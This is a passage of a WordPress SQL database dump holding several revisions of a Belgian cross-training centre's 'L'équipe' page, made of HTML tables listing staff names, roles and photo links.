src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:02:45', '2013-06-16 15:02:45', '', 20, 'http://www.crosstrainingcenter.be/?p=137', 0, 'revision', '', 0),
(241, 1, '2013-07-03 19:36:43', '2013-07-03 19:36:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:36:43', '2013-07-03 19:36:43', '', 20, 'http://www.crosstrainingcenter.be/?p=241', 0, 'revision', '', 0),
(138, 1, '2013-06-16 15:03:45', '2013-06-16 15:03:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:03:45', '2013-06-16 15:03:45', '', 20, 'http://www.crosstrainingcenter.be/?p=138', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(140, 1, '2013-06-16 15:07:01', '2013-06-16 15:07:01', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\n\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:07:01', 